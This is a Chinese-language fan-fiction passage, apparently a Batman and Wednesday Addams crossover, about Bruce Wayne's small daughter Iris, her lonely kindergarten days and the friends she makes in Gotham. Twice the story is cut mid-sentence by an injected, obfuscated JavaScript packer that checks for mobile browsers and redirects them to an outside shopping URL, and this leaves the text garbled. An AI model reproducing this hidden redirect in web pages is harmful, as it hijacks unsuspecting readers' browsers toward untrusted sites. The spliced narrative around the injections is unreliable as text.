布鲁斯站在床边,看了一会儿。 然后他俯下身,在女儿额头上落下一个吻。 他起身要走的时候,艾瑞斯忽然动了动,含糊地咕哝了一声。 “……谢谢。” 布鲁斯顿住。 但艾瑞斯没有醒。她只是翻了个身,把aaa布鲁斯抱进怀里,继续沉睡。 布鲁斯站在原地,沉默了很久。 然后他轻轻带上门,走进了哥谭的夜。 —— 第二天早晨,八点二十五分。 阿尔弗雷德站在走廊里,望着那扇紧闭的卧室门。 门上挂着一块新的牌子。 淡蓝色的卡纸,用彩色蜡笔画着两个小人——一个大大的,穿着黑色的衣服;一个小小的,穿着绿色的鳄鱼睡衣。两个小人手拉着手,旁边歪歪扭扭写着一行字: [爸爸是贪睡鬼 ,大家别把这个秘密说出去。] 阿福弯起唇角。 新的一天。八点三十五分,门把手转动了。 艾瑞斯出现在门口,穿着她的鳄鱼睡衣,怀里抱着aaa布鲁斯,迷迷糊糊地伸出手,抓住阿福的衣角。 阿福低下头,对上那张还没完全清醒的小脸。 “早安,艾瑞斯小姐。” 艾瑞斯眨了眨眼睛,还没完全醒过来,但嘴角已经翘起来了。 “早安,阿福。” 这就是艾瑞斯平常的一天。 3. 日常2(回忆篇) 艾瑞斯是去年进入幼儿园的。 在那之前,她对“上学”这件事充满好奇。布鲁斯给她讲过自己小时候上学的故事——当然,是删减版的,只讲课堂和游戏。迪克给她看过自己以前在学校的照片,穿着制服,笑得露出八颗牙齿。杰森说学校食堂的肉酱面不错,提姆说可以交到朋友,达米安说…… 达米安什么都没说。他只是冷哼了一声,继续看自己的书。 艾瑞斯问阿福:“达米安不喜欢学校吗?” 阿福想了想,谨慎地回答:“达米安少爷对学校的某些方面持有保留意见。” 艾瑞斯不太懂什么叫“保留意见”,但她记住了一个词:学校。 她要去看看。 幼儿园的第一天,布鲁斯亲自送的她。 韦恩大宅的车停在幼儿园门口,引来了不少目光。布鲁斯穿着得体的西装,牵着穿碎花裙的艾瑞斯,像任何一位送女儿上学的普通父亲。 艾瑞斯背着她的小书包——书包上什么挂件都没有,只有阿福给她绣的名字标签。 “记得我们的约定。”布鲁斯蹲下来,平视着她的眼睛,“不耍脾气,尽力把第一天过完。好吗?” 艾瑞斯点点头。 “下午达米安来接你。” 艾瑞斯又点点头。 布鲁斯沉默了一下,忽然伸手揉了揉她的头发。 “去吧。” 艾瑞斯转身,走向那扇彩色的门。门上有贴纸,有手印,有孩子们歪歪扭扭的涂鸦。她回头看了一眼,布鲁斯还站在原地,望着她。 她挥挥手,走了进去。 第一天并没有给她带去很好的体验。 反而让她觉得有些不舒服。 艾瑞斯在幼儿园的第一天就发现她和其他孩子有些不同。 她坐在小椅子上,看着教室里闹哄哄的一切。小朋友们跑来跑去,尖叫,大笑,有人撞到了椅子,有人抢走了别人的玩具。老师站在前面拍手,说“小朋友们请安静”,喊了三遍,没人听。 艾瑞斯很奇怪。 老师明明已经说了要安静,为什么他们不听呢? 后来她观察了他们一天。 她把观察结果记在了脑子里。 第一阶段:听不懂人话。 老师刚说完“坐好”,小朋友们就开始到处跑。老师刚说完“不要抢玩具”,就有人开始抢玩具。老师刚说完“排队洗手”,就有人冲向了滑梯。 艾瑞斯看着这一切,心想:他们是不是听不见老师说话? 第二阶段:哭累了,吃饭,然后睡午觉,变得乖乖的。 闹腾了一个上午之后,终于有人开始哭了。哭的人越来越多,哭声此起彼伏。艾瑞斯捂住耳朵,不知道该怎么办。 然后午饭时间到了。 奇迹般地,哭声停了。小朋友们开始吃饭,吃得狼吞虎咽,脸上挂着泪痕,嘴巴里塞满食物。吃完饭,午睡时间到,他们一个个躺到小床上,闭上眼睛,变得前所未有的安静。 艾瑞斯躺在自己的小床上,望着天花板,心想:原来他们需要充电。 第三阶段:开始疯狂和其他的小朋友聊天交友。 午睡醒来,小朋友们像换了个人似的。他们开始互相说话,互相交换玩具,互相分享零食。艾瑞斯看着一个男孩和一个女孩玩了五分钟,然后男孩跑去和别人玩了,女孩也不在意,转头就和另一个人聊了起来。 而且他们很健忘。 艾瑞斯注意到,有个小朋友上午抢了别人的玩具,下午就和那个人一起玩了,好像完全忘了上午的事。有个小朋友上午哭得最凶,下午笑得最大声,好像完全忘了自己哭过。 艾瑞斯想:他们的记性真好,能忘记不开心的事。 下午的自由活动时间,老师让大家一起玩玩具。 玩具箱被倒出来,哗啦一声,积木、小车、娃娃、拼图散了一地。小朋友们欢呼着扑上去,每个人都抢了一堆。 艾瑞斯没有抢。她站在旁边看了一会儿,然后走到角落里,拿起一本图画书。 她坐在角落里翻书。 有个扎辫子的小女孩跑过来,蹲在她旁边,问:“你在看什么?” 艾瑞斯把书举起来给她看。 小女孩看了一眼,说:“不好看。”然后跑走了。 又过了一会儿,有个男孩跑过来,想拿她手里的书。艾瑞斯没给,男孩就跑了。 艾瑞斯继续看书。 她看了很久。没有人再来打扰她。 下午四点,放学时间到了。 达米安站在幼儿园门口,面无表情地穿过那些叽叽喳喳的家长和孩子。 他十岁,回到韦恩家还不到一年,走路的样子和周围的人格格不入——太稳了,太直了,像一把没出鞘的刀。 艾瑞斯从门口走出来,看到他,笑了。 她跑过去,牵住他的手。 “带我回家吧,哥哥!” 达米安低头看她。 她笑得很开心,眼睛弯弯的,露出缺了一颗的门牙。她的小手暖暖的,软软的,握着他的手指。 达米安沉默了一秒。 然后他握紧了那只小手。 “走。”他说。 回家的路上,艾瑞斯一直叽叽喳喳地说着话。 “今天有个小朋友哭了很久。” “午睡的床有点硬。” “饭还行,有肉丸子。” “老师讲了一个故事,是关于小兔子的。” 她没有说任何关于幼儿园不好的话。 达米安也没问。 到家后,艾瑞斯跑进大宅,和往常一样。 她去找阿福,说“阿福我回来了”。她去找布鲁斯,说“爸爸我回来了”。她去找自己的房间,在床上滚了两圈。 她没有说任何关于幼儿园的事。 为什么不说呢? 她也说不清楚。 幼儿园没有做错什么。老师很好,小朋友们也没有恶意。他们只是和她不太一样而已。 所以没什么好说的。 艾瑞斯的幼儿园生活就这样开始了。 她每天早上去,下午回来。不哭不闹,不吵着不去。她在幼儿园里自己玩自己的,有时候看看书,有时候画画,有时候坐在角落里看别的小朋友玩。 她发现了很多事情。 有的小朋友特别喜欢说话,从早说到晚。有的小朋友特别喜欢哭,一点点小事就哭,哭了又马上好。有的小朋友特别喜欢追着别人跑,也不知道要追到哪里去。 她把这些记在心里。 她没觉得有什么不好。 只是有时候,她看着别的小朋友三三两两地一起玩,会有一点…… 一点什么? 她不知道。 大概过了一个月左右,迪克回来了。 他这次休假有三天,特地赶回来看艾瑞斯。他到的时候是下午,艾瑞斯还没放学。他就在客厅等着,和阿福聊天,听布鲁斯抱怨最近的案子。 四点钟,达米安带着艾瑞斯回来了。 迪克迎上去,抱起艾瑞斯转了一圈,亲了亲她的脸。艾瑞斯咯咯笑,也亲了亲他的脸。 “想我了吗?” “可能吧。” “什么叫可能?!” “哼哼。”艾瑞斯发出很酷的声音。 迪克不由的被逗笑。 第二天,迪克提出送艾瑞斯去幼儿园。 “我想看看你上学的地方。”他说。 艾瑞斯点点头,牵着他的手上了车。 到了幼儿园,迪克蹲下来,和她平视。 “下午我来接你,好不好?” “好。” “玩得开心。” 艾瑞斯点点头,转身走了进去。 迪克站在门口,看着她的背影消失在门后。 他没有立刻离开。他在门口站了一会儿,然后绕到旁边,找到一个能看到操场的角落。 他观察了一天。 他看见艾瑞斯走进教室,放下书包,坐到自己的位置上。 别的小朋友在跑来跑去,她坐着,拿出了一本书。 自由活动时间,别的小朋友抢着玩滑梯,她坐在沙坑边,用手指在沙子上画着什么。 画画时间,别的小朋友画太阳、画小花、画爸爸妈妈,她画了一只……迪克眯起眼睛看了看,好像是猫咪。 午餐时间,别的小朋友叽叽喳喳地说话,她安静地吃饭,偶尔抬头看一眼,然后又低下头。 午睡时间,她躺下,闭着眼睛,一动不动。 下午的自由活动,她继续坐在角落里画画。有个小女孩凑过去看,她抬起头,小女孩跑走了。又过了一会儿,有个男孩跑过来,想拿她的画,她没给,男孩就跑走了。 她一个人坐在角落里,画了一下午。 迪克看着看着,脸上的笑容慢慢消失了。 下午四点,他等在门口。 艾瑞斯走出来,看到他,笑着跑过来。 “迪克!” 迪克抱起她,亲了亲她的脸。 “今天开心吗?” “开心。” “做了什么?” “画画。” “画了什么?” “猫咪。” “好看吗?” “好看。” 迪克抱着她,往车的方向走。 他的脚步很稳,语气也很轻松,但他的眉头微微皱着。 回家的路上,迪克问了很多问题。 “在幼儿园有朋友吗?” 艾瑞斯想了想。“有吧。” “叫什么名字?” 艾瑞斯又想了一会儿。“不知道。他们换得很快。” “换得很快?” “嗯。今天和这个玩,明天和那个玩。”艾瑞斯说,“他们记性不好,能忘记不开心的事。” 迪克愣了一下。 “那你呢?你和谁玩?” “我自己玩。” “自己玩不无聊吗?” “不无聊。”艾瑞斯说,“我可以看他们。” 迪克沉默了一下。 那天晚上,艾瑞斯睡着后,迪克找到了布鲁斯。 布鲁斯正在书房看文件,看到迪克的表情,放下了手里的东西。 “怎么了?” “艾瑞斯在幼儿园的情况,你知道吗?” 布鲁斯顿了一下。 “她没说有什么问题。” “她当然不会说。”迪克走过去,坐在他对面,“你知道她今天在幼儿园怎么过的吗?一个人坐角落,一个人画画,一个人发呆。一整天,没有和任何人玩。” 布鲁斯沉默。 “我问她有没有朋友,她说‘有吧’,但连名字都说不出来。因为那些孩子换朋友太快了,她不喜欢那样。” 布鲁斯还是沉默。 “布鲁斯,”迪克的声音沉下来,“她不是不想交朋友。她是不一样。她和在家里有些不一样,她太会观察了。那些孩子玩的游戏她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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艾瑞斯看着他,看了很久。 然后她忽然伸出手,抱住了他的脖子。 迪克愣了一下,然后笑了,把她紧紧抱在怀里。 那天晚上,艾瑞斯爬上布鲁斯的床,窝进他怀里。 布鲁斯放下手里的书,低头看她。 “今天开心吗?” “开心。” “做了什么?” “迪克跟我说了话。” “说了什么?” “他说,不一样没关系。他说,觉得孤单可以跟你们说。” 布鲁斯沉默了一下。 “他说得对。” 艾瑞斯抬起头,看着他。 “爸爸。” “嗯。” “如果我一直没有朋友怎么办?” 布鲁斯看着她那双蓝汪汪的眼睛,看了很久。 “那你还有我们。”他说,“你有阿福,有迪克,有杰森,有提姆,有达米安。你有我。” 艾瑞斯想了想点点头 她打了个哈欠,往布鲁斯怀里拱了拱。 “爸爸。” “嗯。” “今天那个小朋友说我的猫咪画得不好看,我没生气。因为我知道她不喜欢黑色的猫咪。” 布鲁斯低头看她。 “等她喜欢黑色的猫咪了,她就会觉得好看了。”艾瑞斯迷迷糊糊地说,“如果她还是不喜欢,那也没关系。反正我喜欢。” 布鲁斯轻轻弯起嘴角。 “对,”他说,“你喜欢就够了。” 哥谭的夜一如既往地深沉。 艾瑞斯睡着了。 布鲁斯没有动。 他想起她第一天上学时的样子,小小的背影走向那扇彩色的门,回头看了他一眼,挥挥手。 他想起她每天回来笑嘻嘻的样子,从来不抱怨,从来不哭闹。 他想起迪克说的话:她不是不想交朋友,她只是有点不一样找不到朋友。 不一样。 布鲁斯低头看着女儿安静的睡脸。 他不想让她改变。 他低下头,在女儿额头上落下一个吻。 “没关系,”他轻声说,“不一样也没关系。” 第二天早晨,八点二十五分。 阿尔弗雷德站在走廊里,望着那扇紧闭的卧室门。 门上挂着一块新的牌子。 淡绿色的卡纸,用彩色蜡笔画着一只猫咪——艾瑞斯最近迷上了画黑色的猫咪,虽然画得还不太像。 旁边歪歪扭扭写着一行字: [今天也要开心] 阿福弯起唇角。 八点三十五分,门把手转动了。 艾瑞斯出现在门口,穿着她的小睡衣,迷迷糊糊地伸出手,抓住阿福的衣角。 阿福低下头,对上那张还没完全清醒的小脸。 “早安,艾瑞斯小姐。” 艾瑞斯眨了眨眼睛,嘴角已经翘起来了。 “早安,阿福。” 她跟着阿福走向楼梯。 今天也要开心。 她会的。 4. 日常3 艾瑞斯正处于放假时节。 这意味着她有大把的时间——用她自己的话说——看电……不,是大把的时间出门玩。 家里的大人们对此有不同看法。他们一致认为艾瑞斯过于沉迷电视了。她每天都守在她的电视前,比吃饭还守时。 虽然这孩子没受过“时”,但她的守时程度足以让蝙蝠侠都自愧不如。 “她早上八点三十五分起床,”阿尔弗雷德在家庭早餐时汇报,“八点四十分坐到电视机前,八点四十二分准时打开动画频道。” “这有什么问题吗?”布鲁斯问。 “先生,现在放暑假。”阿福意味深长地看了他一眼,“她可以一直看到晚上。” 布鲁斯沉默了。 提姆低头喝咖啡,假装没听见。杰森在群里发了一百条“让她看我推荐的电影”,达米安冷哼一声继续吃早餐。 艾瑞斯本人坐在她的儿童椅上,正用小勺子舀麦片吃,一脸无辜。 “我没有一直看。”她为自己辩护,“我每天只看到晚上。” “那就是一直看。”迪克从门外探进头来,他昨晚刚回来过夜,“艾瑞斯,你知道什么是‘适度’吗?” 艾瑞斯想了想。“不知道。” “……” 当然,作为小孩子,艾瑞斯的电子设备使用时间是严格受限的。 她每天只能玩两小时的平板,这是布鲁斯的底线。她的通讯器是一只衔着鸢尾花造型的手表,紫蓝色的钻石在阳光下闪闪发光,是阿福特意找人定制的——可以打电话、发消息,但不能玩游戏。 所以艾瑞斯的一天是这样度过的: 早上两小时动画片。 中午吃饭。 下午出门玩。 晚上两小时动画片或电影。 睡前故事。 加起来正好四小时。不多不少,完美卡在阿福说的“健康范围”内。 艾瑞斯觉得这个安排很合理。 因为她是个闲不住的类型。 作为幼儿园小孩,她是不存在作业之类的东西的。没有作业,没有补习班,没有任何需要完成的任务。这本来是很多小孩梦寐以求的生活,但艾瑞斯很快发现了一个问题—— 无聊的时候怎么办? 无聊的时候,艾瑞斯会先在家里逛一圈,看看有没有能玩的事。 第一站通常是书房。 提姆在书房里处理公司文件,面前堆着小山一样的资料。艾瑞斯悄悄推开门,探进半个脑袋。 提姆头也不抬。“我在工作。” “你在忙吗?” “很忙。” “有多忙?” 提姆终于抬起头,对上那双蓝汪汪的眼睛。 他很忙。真的很忙。韦恩集团的文件不会自己签字,股东大会的发言稿不会自己写,还有布鲁斯昨晚丢给他的三份蝙蝠侠相关调查报告需要整理。 但他看着门口那颗小脑袋,忽然说不出“你出去吧”这样的话。 “……你可以坐在那边看书画画。”他指了指角落里的沙发,“但是不能出声。” 艾瑞斯点点头,轻手轻脚地走进来,爬上沙发,从旁边的书架上拿了一本图画书。 她看了十分钟。 然后她开始无聊了。 她把书放下,看着提姆的背影。提姆在敲键盘,手指飞快,屏幕上跳出一行行字。 艾瑞斯看了一会儿。 “提姆。” “嗯?” “你在做什么?” “写报告。” “什么报告?” “关于公司下季度预算的报告。” “什么是预算?” 提姆停下手,深吸一口气。 “……就是计划怎么花钱。” “哦。”艾瑞斯想了想,“那你在花很多钱吗?” “不是花,是规划。” “哦。” 安静了三十秒。 “提姆。” “嗯?” “你写完报告可以陪我玩吗?” 提姆转过身,看着她。 艾瑞斯坐在沙发上,抱着膝盖,眼睛亮晶晶的。她真的很乖,没有吵闹,没有乱跑,只是坐在这里等着。 提姆的心软了一下。 “等我写完这一页。”他说。 艾瑞斯笑了。 第二站是花园。 达米安在花园里训练。 他十一岁,回到韦恩家已经一年,但刀法已经凌厉得像个小刺客。他运刀如风,剑光闪闪,每一招都精准有力—— 然后他停下来,转过身。 艾瑞斯蹲在灌木丛边,静静地看着他。 “你在看什么?” “看你。”艾瑞斯坦诚地说。 达米安皱眉。“不要蹲在那里。危险。” “嗯…我觉得已经很远了。”艾瑞斯说,“你离我很远。” 达米安深吸一口气。 他确实砍不到她。但这不是重点。重点是—— “你来这里做什么?” 艾瑞斯站起来,拍拍膝盖上的土,走到他面前。 “无聊。” 达米安:“……” “你练完刀可以陪我玩吗?” 达米安沉默了。 他想起自己刚回到韦恩家时的样子。那时候他对所有人都不信任,对一切都保持警惕。布鲁斯说,慢慢来,不用着急。迪克说,我们是一家人。阿福说,韦恩庄园随时欢迎你。 艾瑞斯什么都没说。她只是每次见到他都笑,每次接她都牵他的手,每次无聊的时候都来找他。 “……我还要练一会儿。”他最后说。 艾瑞斯点点头,从口袋里掏出一个小东西,放在旁边的石凳上。 是一只小绵羊玩偶。 是她喜欢的旧玩具,只是最普通的那种——手掌大小,绿色的,眼睛是两颗黑珠子,是艾瑞斯从家里某个角落翻出来的。 “这个陪你。”她说。 然后她跑走了。 达米安看着那只小绵羊,沉默了很久。 他继续练刀。 达米安从没做过作业。 他觉得那些问题太蠢了。简单的加减法,基础的单词拼写,无聊的常识问答——他八岁就能用阿拉伯语写论文,十岁已经精通多国语言,小学级别的作业对他来说简直是侮辱。所以他跳级了。 但在艾瑞斯探究的眼神下,他会不情不愿地写一下。 不是因为怕她。是因为没人希望艾瑞斯养成坏习惯。 “达米安为什么不做作业?”艾瑞斯第一次看到他在书房发呆时问过。 “因为他会。”布鲁斯回答。 “那我也要会。” “嗯,你会的。” 艾瑞斯想了想,没有继续追问。 但她从此多了一个习惯:每次路过达米安的书桌,都要看一眼他在做什么。 如果他在写作业,她就点点头,走开。 如果他在发呆,她就歪着头,用那种探究的眼神看着他,直到他受不了,拿起笔装模作样地写几个字。 做作业什么过于枯燥,所以艾瑞斯不会浪费时间陪达米安在写作业的时候。 不过达米安可以收获艾瑞斯的一只小玩偶在书桌上陪他。 这是艾瑞斯的习惯,要是突然走开感觉是抛弃一样。 达米安的书桌上现在有三颗玻璃珠、两颗糖果、一只绵羊玩偶。 他从来没扔过。 —— 关于艾瑞斯的外出,布鲁斯一开始是安排去游乐园的。 他觉得所有小孩都喜欢游乐园。旋转木马,摩天轮,棉花糖,彩色气球——多好啊,多适合一个四岁的小女孩啊。 但艾瑞斯并不喜欢游乐园。 第一次去的时候,她坐了旋转木马,表情平淡。第二次去的时候,她玩了滑梯,没什么反应。第三次去的时候,她站在游乐园门口,仰头看着那些五颜六色的设施,然后问布鲁斯: “爸爸,我们可以去别的地方吗?” “你想去哪?” 艾瑞斯想了想,指向游乐园外面那条普通的街道。 “那里。” 布鲁斯愣了一下。“那里有什么?” “不知道。”艾瑞斯说,“所以想去看看。” 布鲁斯沉默了。 他带她去了那条街。 艾瑞斯走得很慢。她看路边的橱窗,看地上的砖缝,看墙上贴的海报,看行人匆匆走过的脚。她看到一只猫从巷子里窜出来,追着看它跑远。她看到一只鸽子在广场上啄食,蹲下来看了五分钟。 那天他们在外面逛了三个小时。 艾瑞斯一次都没说累。 从那以后,艾瑞斯的“外出”就变成了“逛街”。 她很喜欢逛街。无论是在哥谭的哪——商业街,老城区,码头边,甚至那些看起来有点破旧的巷子——她都兴致勃勃。她想要探索这个城市。 她像是一只小精灵,在灰扑扑的城市里欢悦着蹦跳。 而且按艾瑞斯的精力,还真不是一般小孩能达到的。 阿福有一次陪她出门,原本计划走一个小时,结果走了三个小时。艾瑞斯一直在前面蹦蹦跳跳,一会儿看橱窗,一会儿追鸽子,一会儿蹲在地上研究蚂蚁。阿福在后面跟着,最后不得不承认:他累了,而艾瑞斯还在跑。 “小姐,”他礼貌地问,“您不累吗?” “不累啊。”艾瑞斯回头看他,“阿福累了吗?” 阿福沉默了一秒。 “……有一点。” 艾瑞斯立刻跑回来,牵住他的手,指着前面的长椅。“那我们坐一会儿。” 阿福坐下来,看着身边的小女孩。她正仰着脸晒太阳,眯着眼睛,嘴角弯弯的。 他想:这个小女孩以后可能会跑遍整个哥谭。 艾瑞斯的每次闲逛都像是侦探一样,仔仔细细地不放过每一个角落。 她看橱窗里的摆设,研究哪家店换了新的装饰。她看墙上的涂鸦,猜测画画的人是什么心情。她看地上的井盖,发现每个井盖的花纹都不一样。她看路边的信箱,注意到有的锈了,有的新刷了漆。 哥谭在她眼里不是一个危险的城市,而是一本巨大的图画书,每一页都有新的东西。 令人高兴的是,艾瑞斯在此期间找到了朋友。 不是幼儿园那种“今天一起玩明天就忘”的朋友,是真正的、可以一起玩的朋友。 三十五岁的康斯坦丁是第一个。 那天艾瑞斯跟着阿福路过一条巷子,看见一个穿风衣的男人靠在墙边抽烟。他的脸有点憔悴,眼神有点疲惫,整个人看起来像是刚从什么麻烦里脱身。 艾瑞斯停下来看他。 康斯坦丁察觉到视线,转过头,对上一双蓝汪汪的眼睛。 “……看什么?”他问。 “你看起来累了。”艾瑞斯说。 康斯坦丁愣了一下。 “累了就坐下休息。”艾瑞斯指了指旁边的台阶,“那里可以坐。” 然后她就走了。 康斯坦丁站在原地,半天没动。 后来他告诉别人,那个小女孩很奇怪,不烦人,就是怪。她说的话好像没什么特别,但就是让他感觉身体放松了不少。 再后来,他在街上又遇到她几次。有时候她在看蚂蚁,有时候她在追鸽子,有时候就只是走着走着,忽然停下来,指着某个方向说“那里有只猫”。她从来不缠着他问东问西,也不害怕他的表情,就像遇到一个普通的邻居一样,点点头,笑笑,然后继续走自己的路。 康斯坦丁发现自己开始习惯在街上看看那个小小的身影。 —— 自称甘道夫的老爷爷是第二个。 他看起来七八十岁,白胡子很长,穿着旧旧的灰色长袍,经常坐在公园的长椅上晒太阳。艾瑞斯第一次见到他时,他正在喂鸽子。 艾瑞斯在他旁边坐下来。 老爷爷看了她一眼,继续喂鸽子。 “你叫什么名字?”艾瑞斯问。 “甘道夫。”老爷爷说。 艾瑞斯想了想。“那是书里的人。” 老爷爷笑了。“你怎么知道?” “阿福给我读过。”艾瑞斯说,“《霍比特人》。” 老爷爷点点头。“那你觉得我是真的甘道夫吗?” 艾瑞斯认真地看着他,看了很久。 “不是。”她说,“但是你很像。” 老爷爷又笑了。 从那以后,艾瑞斯每次路过公园,都会去找他坐一会儿。他给她讲故事——不是《霍比特人》里的故事,是他自己编的故事,关于一个白胡子巫师到处旅行的故事。艾瑞斯听得津津有味,有时候还会问问题,比如“巫师吃饭吗”“巫师睡觉吗”“巫师有朋友吗”。 老爷爷每次都认真回答。 刚搬家来哥谭的星期三,是第三个。 也是艾瑞斯玩得最好的一个。 那天下午,艾瑞斯跟着杰森出门。 杰森难得回哥谭,自告奋勇要带她出去玩。他本想带她去吃冰淇淋,但艾瑞斯指了指另一个方向。 “那边。” “那边有什么?” “不知道。”艾瑞斯说,“没去过。” 杰森只好跟着她走。 他们穿过两条街,绕过一个小广场,最后来到一排联排别墅前面。其中一栋门口停着搬家公司的车,几个工人正往里抬箱子。 艾瑞斯停下来看。 一个穿黑色裙子的小女孩站在门廊上,面无表情地看着工人们搬东西。她的皮肤很白,头发很黑,扎着两条辫子,眼神冷冷的,和周围的一切格格不入。 她看起来和艾瑞斯差不多大。 艾瑞斯看着她。 她看着艾瑞斯。 杰森站在旁边,忽然感觉空气有点冷。 “……要不我们去吃冰淇淋?”他试探着问。 艾瑞斯没理他。她走上台阶,站在那个黑裙子小女孩面前。 “你叫什么名字?” 小女孩看着她,眼神没有变化。 “星期三。” “那是今天吗?” “不是。是我的名字。” 艾瑞斯想了想。“你刚搬来?” “嗯。” “你认识这里的人吗?” “不认识。” “你想认识吗?” 星期三沉默了一下。 “不想。”她说,“他们都很无聊。” 艾瑞斯笑了。 “那你想认识不无聊的人吗?” 星期三看着她。 艾瑞斯站在阳光下,浅灰黑的头发有点乱,蓝汪汪的眼睛弯成两道月牙,碎花裙上沾了一点不知道哪来的灰。她笑得很开心,好像遇到了什么有趣的事。 星期三看了她三秒。 “……也许。”她说。 那天下午,杰森一个人站在门廊外,看着两个小女孩隔着铁门说话。 他不知道她们在说什么。他只看见艾瑞斯一直在笑,星期三的表情从冷淡变成面无表情——在星期三那里,这已经是“友好”的表达了。 半个小时后,艾瑞斯跑回来,牵起他的手。 “走吧。” “你们聊完了?” “嗯。”艾瑞斯点点头,“明天还来。” 杰森低头看她。“你交到朋友了?” 艾瑞斯想了想,笑了。 “可能吧。” 第二天,艾瑞斯准时出现在那栋联排别墅门口。 星期三已经在等她了。 她今天换了一条黑色的裙子,头发还是扎成两条辫子,脸上依然没什么表情。但她站在门口,不是站在门廊上,而是站在台阶下面。 “我以为你不会来。”星期三说。 “为什么?” “很多人都这么说。” 艾瑞斯歪着头想了想。“那是他们。不是我。” 星期三看着她,没有说话。 “今天去哪玩?”艾瑞斯问。 星期三沉默了一下。 “我不知道这里有什么。” “那我带你去。”艾瑞斯伸出手,“我认识路。” 星期三看着那只伸过来的小手。 很小,软软的,指甲剪得很整齐,手背上还有一个小小的疤,不知道是哪里磕的。 她犹豫了一秒。 然后她伸出手,握住了那只手。 艾瑞斯带着星期三走遍了附近的街区。 她给她看自己发现的宝藏:墙角有一窝小猫,是流浪猫妈妈生的,现在差不多两个月大;巷子里有一面墙画满了涂鸦,每周都会换新的;面包店门口有一只胖猫,每天都在那里晒太阳,从来不挪地方;公园里有一个老爷爷,看起来像甘道夫,会讲很多故事。 星期三一路跟着她,不怎么说话,但每到一个地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244855|197845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方都会停下来认真看。 她看小猫的时候,蹲了很久。 “你喜欢猫?”艾瑞斯问。 “嗯。” “那你也可以养一只。” 星期三摇摇头。“家里不让。” “为什么?” “因为家里已经养了手。” 艾瑞斯想了想。“那你可以在外面养。” “外面养?” “就像它们。”艾瑞斯指了指小猫,“它们住在外面,但是你可以来看它们。这样就不算在家里养了。” 星期三眨眨眼,好像第一次听到这个思路。 “……可以这样吗?” “为什么不可以?”艾瑞斯理直气壮,“我就这样养鳄鱼的。” 星期三看着她。“你家养鳄鱼?” “没有。”艾瑞斯坦诚地说,“但是我有一屋子鳄鱼玩偶。我试图在外面养它们,杰森正在帮我” 星期三沉默了一下。 那是星期三第一次笑。 不是大笑,只是嘴角微微弯了一下,很快又收回去了。但艾瑞斯看到了。 “你笑了。”她说。 星期三恢复面无表情。“没有。” “有。” “没有。” “有。”艾瑞斯笑了,“你笑起来好看。” 星期三别过脸,耳朵尖有点红。 —— 接下来的日子,艾瑞斯每天都去找星期三。 她们一起探索哥谭的街道,一起看小猫长大,一起听甘道夫讲故事,一起蹲在路边观察蚂蚁搬家。星期三话不多,但艾瑞斯不在意——她本来就很习惯和自己玩,现在多了个人在旁边,也挺好的。 星期三的妈妈是个看起来很严肃的女人,穿着黑色的长裙,头发盘得很高,眼神很冷。她第一次见到艾瑞斯时,站在门廊上看了很久。 艾瑞斯仰起头,对她挥挥手。 “阿姨好。” 女人没有说话。 星期三站在旁边,有点紧张。 过了一会儿,女人开口了:“你是隔壁街区的?” “我是韦恩家的。”艾瑞斯说,“住在那边的大房子里。” 女人的眉毛微微动了一下。 “布鲁斯·韦恩的女儿?” “嗯。” 女人又沉默了一会儿。 然后她点点头,转身进去了。 星期三松了一口气。 “你妈妈不喜欢我?”艾瑞斯问。 “她不喜欢任何人。”星期三说。 “那她喜欢你吗?” 星期三想了想。“她是我妈妈。” 艾瑞斯点点头,好像懂了,又好像没懂。 “那她对你挺好的。”她说。 星期三看着她。“你怎么知道?” “因为你是她女儿啊。”艾瑞斯理所当然地说,“我爸爸也对我好。虽然他很忙,有时候不回家,但他对我好。” 星期三沉默了一下。 “不一样的。”她低声说。 艾瑞斯没有追问。 她只是牵起星期三的手。 “走吧,今天去看小猫。” 一个月后,星期三的房间里多了一只鳄鱼玩偶。 是艾瑞斯送的。 不是后来那一屋子会叫的鳄鱼,只是最普通的一种——手掌大小,绿色的,眼睛是两颗黑珠子。 “这是什么?”星期三问。 “鳄鱼。”艾瑞斯说,“我的。” “你的?” “嗯。我的鳄鱼分你一只。”艾瑞斯认真地说,“这样它就可以陪你睡觉了。” 星期三看着那只小鳄鱼。 它有点丑。绿得不均匀,眼睛一大一小,嘴巴缝得有点歪,一看就是手工做的——而且是小孩做的手工。 “你自己做的?” “嗯。阿福帮我缝的,但是形状是我画的。” 星期三沉默了一下。 她把小鳄鱼放在床头,和自己那些黑色的娃娃摆在一起。 “它叫什么?” 艾瑞斯想了想。“叫……星期三吧。” 星期三看着她。“它是绿的。” “那你给它起个名字。” 星期三想了一会儿。 “叫……艾瑞斯。”她说。 艾瑞斯眨眨眼。 “那是我的名字。” “嗯。”星期三说,“这样它就像你一样,可以陪我。” 艾瑞斯愣了一下,然后笑了。 “好。”她说,“那就叫艾瑞斯。” 那天晚上,布鲁斯回到家,发现艾瑞斯坐在客厅里,怀里抱着aaa布鲁斯,眼睛亮晶晶的。 “爸爸。” “嗯?” “我今天有朋友了。” 布鲁斯停下来,看着她。 “是那个叫星期三的女孩?” “嗯。”艾瑞斯点点头,“她今天笑了。还给我起了名字。给我的鳄鱼。” 布鲁斯弯起嘴角。 “那很好。” “嗯。”艾瑞斯说,“她不喜欢说话,但是她喜欢小猫,喜欢听甘道夫讲故事,喜欢看我画的鳄鱼。她还说,明天要带我认识她的宠物。” “她有宠物?” “有。她说叫什么东西……”艾瑞斯歪着头想了想,“好像是……叫什么什么手?” 布鲁斯的表情顿了一下。 “……什么东西的手?” “不知道。”艾瑞斯说,“明天就知道了。” 布鲁斯沉默了几秒。 他决定明天让阿福陪她去。 第二天,艾瑞斯准时出现在星期三家门口。 